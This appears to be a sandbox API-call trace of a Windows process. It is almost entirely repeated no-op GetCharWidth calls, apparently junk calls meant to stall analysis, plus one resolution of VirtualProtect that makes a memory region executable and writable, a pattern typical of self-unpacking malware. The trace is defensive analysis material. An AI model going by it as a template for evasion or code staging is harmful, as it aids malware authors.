[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.270] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.271] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.272] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.272] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.272] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.272] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.272] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.272] GetCharWidthI (in: hdc=0x0, giFirst=0x0, cgi=0x0, pgi=0x19defc, piWidths=0x0 | out: piWidths=0x0) returned 0
[0043.273] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76840000
[0043.273] GetProcAddress (hModule=0x76840000, lpProcName="VirtualProtect") returned 0x76857a50
[0043.273] VirtualProtect (in: lpAddress=0x6947f8, dwSize=0x2fc70, flNewProtect=0x40, lpflOldProtect=0x19deb8 | out: lpflOldProtect=0x19deb8*=0x4) returned 1
[0043.285] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.287] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.288] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.289] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.290] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
[0043.291] GetCharWidthA (in: hdc=0x0, iFirst=0x0, iLast=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0
